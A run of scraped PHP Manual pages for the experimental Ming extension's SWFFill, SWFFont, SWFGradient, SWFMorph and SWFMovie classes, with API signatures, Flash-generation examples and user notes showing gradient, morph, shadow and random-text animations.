This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill scale to the given coordinates.

Parameters

x

X-coordinate

y

Y-coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFFill::rotateTo
SWFFill::skewXTo
SWFFill


Sets fill x-skew

SWFFill::scaleTo
SWFFill::skewYTo
SWFFill
PHP Manual

SWFFill::skewXTo

(PHP 4 >= 4.0.5)

SWFFill::skewXTo — Sets fill x-skew

Description

void SWFFill::skewXTo ( float $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill x-skew to x.

Parameters

x

When x is 1.0, it is a 45-degree forward slant. More is more forward, less is more backward.

Return Values

No value is returned.

See Also

  • SWFFill::skewYTo() - Sets fill y-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFFill::scaleTo
SWFFill::skewYTo
SWFFill


Sets fill y-skew

SWFFill::skewXTo
SWFFont
SWFFill
PHP Manual

SWFFill::skewYTo

(PHP 4 >= 4.0.5)

SWFFill::skewYTo — Sets fill y-skew

Description

void SWFFill::skewYTo ( float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill y-skew to y.

Parameters

y

When y is 1.0, it is a 45-degree upward slant. More is more upward, less is more downward.

Return Values

No value is returned.

See Also

  • SWFFill::skewXTo() - Sets fill x-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFFill::skewXTo
SWFFont
SWFFill


The SWFFont class

(No version information available, might only be in SVN)

Introduction

The SWFFont object represent a reference to the font definition, for us with SWFText::setFont() and SWFTextField::setFont().

Class synopsis

SWFFont {
/* Methods */
__construct ( string $filename )
float getAscent ( void )
float getDescent ( void )
float getLeading ( void )
string getShape ( int $code )
float getUTF8Width ( string $string )
float getWidth ( string $string )
}

Table of Contents

  • SWFFont::__construct — Loads a font definition
  • SWFFont::getAscent — Returns the ascent of the font, or 0 if not available
  • SWFFont::getDescent — Returns the descent of the font, or 0 if not available
  • SWFFont::getLeading — Returns the leading of the font, or 0 if not available
  • SWFFont::getShape — Returns the glyph shape of a char as a text string
  • SWFFont::getUTF8Width — Calculates the width of the given string in this font at full height
  • SWFFont::getWidth — Returns the string's width

User Contributed Notes

There are no user contributed notes for this page.
SWFFill::skewYTo
SWFFont::__construct
Ming


Loads a font definition

SWFFont
SWFFont::getAscent
SWFFont
PHP Manual

SWFFont::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::__construct — Loads a font definition

Description

SWFFont::__construct ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

If filename is the name of an FDB file (i.e., it ends in ".fdb"), load the font definition found in said file. Otherwise, create a browser-defined font reference.

FDB ("font definition block") is a very simple wrapper for the SWF DefineFont2 block which contains a full description of a font. One may create FDB files from SWT Generator template files with the included makefdb utility- look in the util directory off the main ming distribution directory.

Browser-defined fonts don't contain any information about the font other than its name. It is assumed that the font definition will be provided by the movie player. The fonts _serif, _sans, and _typewriter should always be available. For example:

<?php
$f = newSWFFont("_sans");
?>
will give you the standard sans-serif font, probably the same as what you'd get with <font name="sans-serif"> in HTML.

User Contributed Notes

There are no user contributed notes for this page.
SWFFont
SWFFont::getAscent
SWFFont


Returns the ascent of the font, or 0 if not available

SWFFont::__construct
SWFFont::getDescent
SWFFont
PHP Manual

SWFFont::getAscent

(PHP 4 >= 4.0.5)

SWFFont::getAscent — Returns the ascent of the font, or 0 if not available

Description

float SWFFont::getAscent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFFont::getDescent() - Returns the descent of the font, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::__construct
SWFFont::getDescent
SWFFont


Returns the descent of the font, or 0 if not available

SWFFont::getAscent
SWFFont::getLeading
SWFFont
PHP Manual

SWFFont::getDescent

(PHP 4 >= 4.0.5)

SWFFont::getDescent — Returns the descent of the font, or 0 if not available

Description

float SWFFont::getDescent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFFont::getAscent() - Returns the ascent of the font, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::getAscent
SWFFont::getLeading
SWFFont


Returns the leading of the font, or 0 if not available

SWFFont::getDescent
SWFFont::getShape
SWFFont
PHP Manual

SWFFont::getLeading

(PHP 4 >= 4.0.5)

SWFFont::getLeading — Returns the leading of the font, or 0 if not available

Description

float SWFFont::getLeading ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::getDescent
SWFFont::getShape
SWFFont


Returns the glyph shape of a char as a text string

SWFFont::getLeading
SWFFont::getUTF8Width
SWFFont
PHP Manual

SWFFont::getShape

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getShape — Returns the glyph shape of a char as a text string

Description

string SWFFont::getShape ( int $code )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::getLeading
SWFFont::getUTF8Width
SWFFont


Calculates the width of the given string in this font at full height

SWFFont::getShape
SWFFont::getWidth
SWFFont
PHP Manual

SWFFont::getUTF8Width

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getUTF8Width — Calculates the width of the given string in this font at full height

Description

float SWFFont::getUTF8Width ( string $string )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFFont::getWidth() - Returns the string's width

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::getShape
SWFFont::getWidth
SWFFont


Returns the string's width

SWFFont::getUTF8Width
SWFFontChar
SWFFont
PHP Manual

SWFFont::getWidth

(PHP 4 >= 4.0.5)

SWFFont::getWidth — Returns the string's width

Description

float SWFFont::getWidth ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swffont::getwidth() returns the string string's width, using font's default scaling. You'll probably want to use the swftext() version of this method which uses the text object's scale.

See Also

  • SWFFont::getUTF8Width() - Calculates the width of the given string in this font at full height

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::getUTF8Width
SWFFontChar
SWFFont


The SWFFontChar class

(No version information available, might only be in SVN)

Introduction

SWFFontChar.

Class synopsis

SWFFontChar {
/* Methods */
void addChars ( string $char )
void addUTF8Chars ( string $char )
}

Table of Contents

  • SWFFontChar::addChars — Adds characters to a font for exporting font
  • SWFFontChar::addUTF8Chars — Adds characters to a font for exporting font

User Contributed Notes

There are no user contributed notes for this page.
SWFFont::getWidth
SWFFontChar::addChars
Ming


Adds characters to a font for exporting font

SWFFontChar
SWFFontChar::addUTF8Chars
SWFFontChar
PHP Manual

SWFFontChar::addChars

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFontChar::addChars — Adds characters to a font for exporting font

Description

void SWFFontChar::addChars ( string $char )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFFontChar::addUTF8Chars() - Adds characters to a font for exporting font

User Contributed Notes

There are no user contributed notes for this page.
SWFFontChar
SWFFontChar::addUTF8Chars
SWFFontChar


Adds characters to a font for exporting font

SWFFontChar::addChars
SWFGradient
SWFFontChar
PHP Manual

SWFFontChar::addUTF8Chars

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFontChar::addUTF8Chars — Adds characters to a font for exporting font

Description

void SWFFontChar::addUTF8Chars ( string $char )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFFontChar::addChars() - Adds characters to a font for exporting font

User Contributed Notes

There are no user contributed notes for this page.
SWFFontChar::addChars
SWFGradient
SWFFontChar


The SWFGradient class

(No version information available, might only be in SVN)

Introduction

SWFGradient.

Class synopsis

SWFGradient {
/* Methods */
void addEntry ( float $ratio , int $red , int $green , int $blue [, int $alpha = 255 ] )
__construct ( void )
}

Table of Contents

  • SWFGradient::addEntry — Adds an entry to the gradient list
  • SWFGradient::__construct — Creates a gradient object

User Contributed Notes

mabuzzer at hotmail dot com 13-Mar-2002 10:49
Gradient fills are implemented in SWF as a color ramp, mapped onto a square from (-16384, -16384) to (16384, 16384) TWIPS.

The following code creates a movie, displaying a square with a gradient fill, correctly scaled to the size of the shape.

<?php

//Set the scale to TWIPS rather than PIXELS
ming_setscale(1.0);

//Create the movie
$m = new SWFMovie();
$m->setRate(12.0);
$m->setDimension(400,400);
$m->setBackground(0xff, 0xff, 0xff);

//Width and height of rectangle
$sx = 300;
$sy = 300;

//Create rectangle
$s = new SWFShape();

//Gradient file stuff here...
$g = new SWFGradient();
$g->addEntry(0.0, 0x00, 0x00, 0xff);    // Start off Blue
$g->addEntry(1.0, 0xff, 0xff, 0x00);    // Finish off Yellow

// Add gradient fill to the shape
$f = $s->addFill($g);

//Centre the gradient fill against the rectangle
$f->moveTo($sx/2, $sy/2);
//Scale it to the shape, so that the entire gradient fits inside the shape
$f->scaleTo($sx/32768, 1);

// Set the shapes fill to be the added gradient fill
$s->setRightFill($f);

//Draw the rectangle
$s->drawLine($sx, 0);
$s->drawLine(0, $sy);
$s->drawLine(-$sx, 0);
$s->drawLine(0, -$sy);

//Add the shape to the movie
$sh = $m->add($s);
$sh->moveTo(50, 50);

// Output the movie
header("Content-type: application/x-shockwave-flash");
$m->output();

?>

More info about this can be obtained from
http://www.openswf.org/spec/SWFfilereference.html#h4FillTypes
SWFFontChar::addUTF8Chars
SWFGradient::addEntry
Ming


Adds an entry to the gradient list

SWFGradient
SWFGradient::__construct
SWFGradient
PHP Manual

SWFGradient::addEntry

(PHP 4 >= 4.3.0)

SWFGradient::addEntry — Adds an entry to the gradient list

Description

void SWFGradient::addEntry ( float $ratio , int $red , int $green , int $blue [, int $alpha = 255 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfgradient::addentry() adds an entry to the gradient list. ratio is a number between 0 and 1 indicating where in the gradient this color appears. Thou shalt add entries in order of increasing ratio.

red, green, blue is a color (RGB mode).

Return Values

No value is returned.

User Contributed Notes

jolyon at mways dot co dot uk 31-Jan-2003 07:19
You only appear to be able to add up to 8 entries per gradient
SWFGradient
SWFGradient::__construct
SWFGradient


Creates a gradient object

SWFGradient::addEntry
SWFMorph
SWFGradient
PHP Manual

SWFGradient::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFGradient::__construct — Creates a gradient object

Description

SWFGradient::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfgradient() creates a new SWFGradient object.

After you've added the entries to your gradient, you can use the gradient in a shape fill with the swfshape::addfill() method.

SWFGradient has the following methods : swfgradient::addentry().

This simple example will draw a big black-to-white gradient as background, and a reddish disc in its center.

Example #1 swfgradient() example

<?php

  $m = new SWFMovie();
  $m->setDimension(320, 240);

  $s = new SWFShape();

  // first gradient- black to white
  $g = new SWFGradient();
  $g->addEntry(0.0, 0, 0, 0);
  $g->addEntry(1.0, 0xff, 0xff, 0xff);

  $f = $s->addFill($g, SWFFILL_LINEAR_GRADIENT);
  $f->scaleTo(0.01);
  $f->moveTo(160, 120);
  $s->setRightFill($f);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m->add($s);

  $s = new SWFShape();

  // second gradient- radial gradient from red to transparent
  $g = new SWFGradient();
  $g->addEntry(0.0, 0xff, 0, 0, 0xff);
  $g->addEntry(1.0, 0xff, 0, 0, 0);

  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.005);
  $f->moveTo(160, 120);
  $s->setRightFill($f);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m->add($s);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFGradient::addEntry
SWFMorph
SWFGradient


The SWFMorph class

(No version information available, might only be in SVN)

Introduction

The methods here are sort of weird. It would make more sense to just have newSWFMorph(shape1, shape2);, but as things are now, shape2 needs to know that it's the second part of a morph. (This, because it starts writing its output as soon as it gets drawing commands- if it kept its own description of its shapes and wrote on completion this and some other things would be much easier.)

Class synopsis

SWFMorph {
/* Methods */
__construct ( void )
SWFShape getShape1 ( void )
SWFShape getShape2 ( void )
}

Table of Contents

  • SWFMorph::__construct — Creates a new SWFMorph object
  • SWFMorph::getShape1 — Gets a handle to the starting shape
  • SWFMorph::getShape2 — Gets a handle to the ending shape

User Contributed Notes

o dot marce at free dot fr 01-Oct-2005 02:03
setLine() is mandatory for shape got with getShape1 and getShape2, otherwise you will get a "failed assertion"
dk dot php dot net dot nospam at emanuelgreisen dot dk 14-Feb-2005 10:57
If you call getShape1() twize (by mistake, when copy-pasting). ming-0.3_beta1 will segfault.
SWFGradient::__construct
SWFMorph::__construct
Ming


Creates a new SWFMorph object

SWFMorph
SWFMorph::getShape1
SWFMorph
PHP Manual

SWFMorph::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMorph::__construct — Creates a new SWFMorph object

Description

SWFMorph::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFMorph object.

Also called a "shape tween". This thing lets you make those tacky twisting things that make your computer choke. Oh, joy!

Examples

This simple example will morph a big red square into a smaller blue black-bordered square.

Example #1 swfmorph() example

<?php
  $p = new SWFMorph();

  $s = $p->getShape1();
  $s->setLine(0, 0, 0, 0);

  /* Note that this is backwards from normal shapes (left instead of right).
     I have no idea why, but this seems to work.. */

  $s->setLeftFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(-1000,-1000);
  $s->drawLine(2000,0);
  $s->drawLine(0,2000);
  $s->drawLine(-2000,0);
  $s->drawLine(0,-2000);

  $s = $p->getShape2();
  $s->setLine(60,0,0,0);
  $s->setLeftFill($s->addFill(0, 0, 0xff));
  $s->movePenTo(0,-1000);
  $s->drawLine(1000,1000);
  $s->drawLine(-1000,1000);
  $s->drawLine(-1000,-1000);
  $s->drawLine(1000,-1000);

  $m = new SWFMovie();
  $m->setDimension(3000,2000);
  $m->setBackground(0xff, 0xff, 0xff);

  $i = $m->add($p);
  $i->moveTo(1500,1000);

  for ($r=0.0; $r<=1.0; $r+=0.1) {
    $i->setRatio($r);
    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

User Contributed Notes

mark omohundro, ajamyajax dot com 22-Feb-2009 10:07
<?php
  // with a few changes to the example above --
  // looks like SWFMorph() can also be used to DISSOLVE a shape...
  // Shape2's fill below is set to same movie setBackground() color,
  // and its setLine() parameter #1 for weight is set to zero.
  // smaller seems to look a little better with this also...

  $rbg = 0x66; // 102
  $gbg = 0x99; // 153
  $bbg = 0xCD; // 205

  $p = new SWFMorph();

  $s = $p->getShape1();
  $s->setLine(0, 0, 0, 0);
  $s->setLeftFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(-1000,-1000);
  $s->drawLine(2000,0);
  $s->drawLine(0,2000);
  $s->drawLine(-2000,0);
  $s->drawLine(0,-2000);

  $s = $p->getShape2();
  $s->setLine(0,0,0,0);  // changed from (60,0,0,0)
  $s->setLeftFill($s->addFill($rbg, $gbg, $bbg));  // new color to match
  $s->movePenTo(0,-1000);
  $s->drawLine(1000,1000);
  $s->drawLine(-1000,1000);
  $s->drawLine(-1000,-1000);
  $s->drawLine(1000,-1000);

  $m = new SWFMovie();
  $m->setDimension(6000,4000);
  $m->setBackground($rbg, $gbg, $bbg);

  $i = $m->add($p);
  $i->moveTo(3000,2000);

  for ($r=0.0; $r<=1.0; $r+=0.1) {
    $i->setRatio($r);
    $m->nextFrame();
  }
  $m->add(new SWFAction("stop();"));
  $m->nextFrame();

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>
SWFMorph
SWFMorph::getShape1
SWFMorph


Gets a handle to the starting shape

SWFMorph::__construct
SWFMorph::getShape2
SWFMorph
PHP Manual

SWFMorph::getShape1

(PHP 4 >= 4.0.5)

SWFMorph::getShape1 — Gets a handle to the starting shape

Description

SWFShape SWFMorph::getShape1 ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Gets the morph's starting shape.

Return Values

Returns a SWFShape object.

See Also

  • SWFMorph::getShape2() - Gets a handle to the ending shape

User Contributed Notes

There are no user contributed notes for this page.
SWFMorph::__construct
SWFMorph::getShape2
SWFMorph


Gets a handle to the ending shape

SWFMorph::getShape1
SWFMovie
SWFMorph
PHP Manual

SWFMorph::getShape2

(PHP 4 >= 4.0.5)

SWFMorph::getShape2 — Gets a handle to the ending shape

Description

SWFShape SWFMorph::getShape2 ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Gets the morph's ending shape.

Return Values

Returns a SWFShape object.

See Also

  • SWFMorph::getShape1() - Gets a handle to the starting shape

User Contributed Notes

There are no user contributed notes for this page.
SWFMorph::getShape1
SWFMovie
SWFMorph


The SWFMovie class

(No version information available, might only be in SVN)

Introduction

SWFMovie is a movie object representing an SWF movie.

Class synopsis

SWFMovie {
/* Methods */
mixed add ( object $instance )
void addExport ( SWFCharacter $char , string $name )
mixed addFont ( SWFFont $font )
__construct ([ int $version ] )
SWFSprite importChar ( string $libswf , string $name )
SWFFontChar importFont ( string $libswf , string $name )
void labelFrame ( string $label )
void nextFrame ( void )
int output ([ int $compression ] )
void remove ( object $instance )
int save ( string $filename [, int $compression = -1 ] )
int saveToFile ( resource $x [, int $compression = -1 ] )
void setbackground ( int $red , int $green , int $blue )
void setDimension ( float $width , float $height )
void setFrames ( int $number )
void setRate ( float $rate )
SWFSoundInstance startSound ( SWFSound $sound )
void stopSound ( SWFSound $sound )
int streamMP3 ( mixed $mp3file [, float $skip = 0 ] )
void writeExports ( void )
}

Table of Contents

  • SWFMovie::add — Adds any type of data to a movie
  • SWFMovie::addExport — Description
  • SWFMovie::addFont — Description
  • SWFMovie::__construct — Creates a new movie object, representing an SWF version 4 movie
  • SWFMovie::importChar — Description
  • SWFMovie::importFont — Description
  • SWFMovie::labelFrame — Labels a frame
  • SWFMovie::nextFrame — Moves to the next frame of the animation
  • SWFMovie::output — Dumps your lovingly prepared movie out
  • SWFMovie::remove — Removes the object instance from the display list
  • SWFMovie::save — Saves the SWF movie in a file
  • SWFMovie::saveToFile — Description
  • SWFMovie::setbackground — Sets the background color
  • SWFMovie::setDimension — Sets the movie's width and height
  • SWFMovie::setFrames — Sets the total number of frames in the animation
  • SWFMovie::setRate — Sets the animation's frame rate
  • SWFMovie::startSound — Description
  • SWFMovie::stopSound — Description
  • SWFMovie::streamMP3 — Streams a MP3 file
  • SWFMovie::writeExports — Description

User Contributed Notes

mark omohundro, ajamyajax dot com 06-Apr-2009 08:47
<?php
// php ming 'challenge response' style text to graphics routine --
// (example only; any use for input validation is up to you, however
//  this image can be displayed on text pages in an html iframe)

  $f = new SWFFont("Bitstream Vera Serif.fdb");

  $m = new SWFMovie();
  $m->setDimension(500, 150);
  $m->setBackground(255, 255, 255);

  for ($r=0; $r < 6; $r++) {
    // random char selected from range: '2-9', 'A-Z', 'a-z'
    switch (rand(0,2)) {
      case 0:
        $c = chr(rand(50,57));
        break;
      case 1:
        $c = chr(rand(65,90));
        break;
      case 2:
        $c = chr(rand(97,122));
        break;
    }
    $p = convertchar($c);
    $i = $m->add($p);
  }
  $i->setDepth(1);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

<?php
  function convertchar($txt) {
    global $f;
    static $x=10, $y=5;

    $s = new SWFShape();
    $s->setLine(rand(0,1),125,125,200); // (line weight, r, g, b)
    $s->drawLine(rand(15,25),0);

    $t = new SWFText();
    $t->setFont($f);
    $t->setColor(15, 15, 195);
    $t->setHeight(40);
    $t->addString($txt);

    $p = new SWFSprite();
    $is = $p->add($s);

    $it = $p->add($t);

    $is->move($x,$y);  // lines thru char
    $it->move($x,$y+8);
    $x+=75;

    // all chars adjusted in a slightly random manner
    $rs = rand(-1,1);
    for ($n=0; $n < 3; $n++) {
      $it->scaleTo($n, 1);
      $is->scaleTo($n, 1);

      $it->rotate($rs);
      $is->rotate($rs);

      $it->skewx(-$rs/10);
      $is->skewx(-$rs/10);

      $it->skewy($rs/10);
      $is->skewy($rs/10);
      $p->nextframe();
    }

    $p->add(new SWFAction("stop();"));
    $p->nextFrame();
    return $p;
  }
?>
mark omohundro, ajamyajax dot com 27-Feb-2009 06:33
<?php
// php ming swf flash movie example #2 --
// this routine displays several wipe/fade transitional effects

  $f = new SWFFont("Bitstream Vera Serif.fdb");

  $m = new SWFMovie();
  $m->setDimension(640, 480);
  $m->setBackground(0, 255, 153);
  $m->setRate(9);

  $p = movieclip("First...", 0, 255, 255, 100, 50, 25, 7);
  $i = $m->add($p);
  $p = movieclip("Second...", 102, 0, 102, 100, 170, 18, 5);
  $i = $m->add($p);
  $p = movieclip("Third...", 255, 0, 51, 100, 290, 30, 6);
  $i = $m->add($p);

//  $m->save("wfeffect.swf");

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

<?php
  function movieclip($txt, $r, $g, $b, $x, $y, $sv, $mv) {
    global $f;

    $s = new SWFShape();
    $s->setLine(1,0,0,255); // (line weight, r, g, b)
    $s->setRightFill(255,255,0);
    $s->drawLine(170,0);
    $s->drawLine(0,60);
    $s->drawLine(-170,0);
    $s->drawLine(0,-60);

    $t = new SWFText();
    $t->setFont($f);
    $t->setColor($r, $g, $b);
    $t->setHeight(17);
    $t->addString($txt);

    $p = new SWFSprite();
    $is = $p->add($s);
    // works with images also:
//    $is = $p->add(new SWFBitMap(fopen("/images/yourbmp.jpg", "rb")));

    $it = $p->add($t);

    $is->moveTo($x, $y);
    $it->moveTo($x+10, $y+20);

    // adjust movement left with a compensating move
    // right ($i->move()), to change look of this effect:
    // note: setting the scaleTo() $y parameter to 0 didn't help(?)
    // fixed in later versions?  only tested with Ming 0.3beta1.
    $scaleLeftValue = $sv;
    $moveRightValue = $scaleLeftValue/$mv;

    for ($n=1; $n < $scaleLeftValue; $n++) {
      $is->scaleTo(1-($n/$scaleLeftValue), 1);
      $it->scaleTo(1-($n/$scaleLeftValue), 1);
      $is->move($moveRightValue, 0);

      // fade text color to add to effect:
      if ($n <= 10) {
        $it->addColor(10*$n, 10*$n, 10*$n);
      }
      // try to keep text in bounds
      if ($n < $scaleLeftValue - 2) {
        $it->move($moveRightValue, 0);
      }
      $p->nextframe();
    }
    $p->remove($is);  // remove() causes item to disappear
    $p->remove($it);  // which is exactly what we want here
    $p->nextFrame();

    $p->add(new SWFAction("stop();"));
    $p->nextFrame();
    return $p;
  }
?>
mark omohundro, ajamyajax dot com 26-Feb-2009 07:54
<?php
// php ming swf flash movie example --
// this routine simply adds a shadow, text, and movement to a rectangle shape.
// for a dissolve effect using swfmorph, see this add'l note:
// http://www.php.net/manual/en/function.swfmorph.construct.php

$lineweight = 3;
$linered = 102;
$linegreen = 102;
$lineblue = 255;

$fillred = 204;
$fillgreen = 204;
$fillblue = 255;
$rectlinelen = 200;

$shadowred = 153;
$shadowgreen = 153;
$shadowblue = 153;
$shadowoffset = 3;

$x = 100;
$y = 150;

$m = new SWFMovie();
$m->setDimension(640,480);
$m->setBackground(235,235,235);
$m->setRate(65);

$is = $m->add(shadowrectShape(true));
$i = $m->add(rectShape(true));

$text = "Shadow Play...";
$its = $m->add(textField($text, 15, $shadowred, $shadowgreen, $shadowblue));
$it = $m->add(textField($text, 15, $linered-25, $linegreen, $lineblue));

$is->moveTo($x+$shadowoffset,$y+$shadowoffset);
$i->moveTo($x,$y);  // starting x,y for rectangle
$its->moveTo($x+15+1,$y+15+1);  // only a minimal shadow for text...
$it->moveTo($x+15,$y+15);

for ($n=0; $n < 75; $n++) {
  $is->move(2.05, 0.05);  // rectangle's shadow, lengthens as it moves
  $i->move(2,0);  // original rectangle
  $its->move(2, 0.01);  // text shadow
  $it->move(2,0);  // text
  $m->nextFrame();
}

$m->add(new SWFAction("stop();"));
$m->nextFrame();

// $m->save("shadow.swf");

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

<?php
function rectShape($addfill) {
  global $lineweight, $linered, $linegreen, $lineblue;
  global $fillred, $fillgreen, $fillblue, $rectlinelen;

  $s = new SWFShape();
  $s->setLine($lineweight, $linered, $linegreen, $lineblue);
  if ($addfill) {
    $s->setRightFill($s->addFill($fillred, $fillgreen, $fillblue));
  }
  $s->drawLine($rectlinelen, 0);
  $s->drawLine(0, $rectlinelen);
  $s->drawLine(-$rectlinelen, 0);
  $s->drawLine(0, -$rectlinelen);
  return $s;
}

function shadowrectShape($addfill) {
  global $lineweight, $rectlinelen;
  global $shadowoffset, $shadowred, $shadowgreen, $shadowblue;

  $s = new SWFShape();
  $s->setLine($lineweight, $shadowred, $shadowgreen, $shadowblue);
  if ($addfill) {
    $s->setRightFill($s->addFill($shadowred, $shadowgreen, $shadowblue));
  }
  $s->drawLine($rectlinelen+$shadowoffset, 0);
  $s->drawLine(0, $rectlinelen+$shadowoffset);
  $s->drawLine(-$rectlinelen-$shadowoffset, 0);
  $s->drawLine(0, -$rectlinelen-$shadowoffset);
  return $s;
}

function textField($strtext, $intheight, $textred, $textgreen, $textblue) {
  $t = new SWFTextField();
  $t->setFont(new SWFFont('Default'));
// or try this instead:
//  $t = new SWFText();
//  $f = new SWFFont("Bitstream Vera Sans.fdb");
//  $t->setFont($f);
  $t->setColor($textred, $textgreen, $textblue);
  $t->addString($strtext);
  $t->setHeight($intheight);
  return $t;
}
?>
askypcom at gmail dot com 12-Jan-2009 07:16
<?php
$myShape1=new SWFShape();
$myShape1->setLine(5,0,0,255);
$myShape1->setRightFill(255,255,0);
$myShape1->movePen(-30,-30);
$myShape1->drawLine(60,0);
$myShape1->drawLine(0,60);
$myShape1->drawLine(-60,0);
$myShape1->drawLine(0,-60);
$myMovie=new SWFMovie();
$myMovie->setDimension(460,80);
$myMovie->setBackground(255,0,0);
$movingSquare=$myMovie->add($myShape1);
$movingSquare->moveTo(40,40);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->nextFrame();
$movingSquare->move(40,0);
$myMovie->save("lesson.swf");
?>

Sachin Akhani
http://www.askyp.com
SWFMorph::getShape2
SWFMovie::add
Ming


Adds any type of data to a movie

SWFMovie
SWFMovie::addExport
SWFMovie
PHP Manual

SWFMovie::add

(PHP 4 >= 4.3.3)

SWFMovie::add — Adds any type of data to a movie

Description

mixed SWFMovie::add ( object $instance )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Adds an SWF object instance to the current movie.

Parameters

instance

Any type of object instance, like SWFShape, SWFText, SWFFont.

Return Values

For displayable types (shape, text, button, sprite), this returns an SWFDisplayItem, a handle to the object in a display list. Thus, you can add the same shape to a movie multiple times and get separate handles back for each separate instance.

See Also

  • SWFMovie::remove() - Removes the object instance from the display list

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie
SWFMovie::addExport
SWFMovie


SWFMovie::add
SWFMovie::addFont
SWFMovie
PHP Manual

SWFMovie::addExport

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::addExport —

Description

void SWFMovie::addExport ( SWFCharacter $char , string $name )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::add
SWFMovie::addFont
SWFMovie


SWFMovie::addExport
SWFMovie::__construct
SWFMovie
PHP Manual

SWFMovie::addFont

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::addFont —

Description

mixed SWFMovie::addFont ( SWFFont $font )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::addExport
SWFMovie::__construct
SWFMovie


Creates a new movie object, representing an SWF version 4 movie

SWFMovie::addFont
SWFMovie::importChar
SWFMovie
PHP Manual

SWFMovie::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::__construct — Creates a new movie object, representing an SWF version 4 movie

Description

SWFMovie::__construct ([ int $version ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new movie object, representing an SWF movie.

Parameters

version

The desired SWF version. Default is 4.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::addFont
SWFMovie::importChar
SWFMovie


SWFMovie::__construct
SWFMovie::importFont
SWFMovie
PHP Manual

SWFMovie::importChar

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::importChar —

Description

SWFSprite SWFMovie::importChar ( string $libswf , string $name )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFMovie::importFont() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::__construct
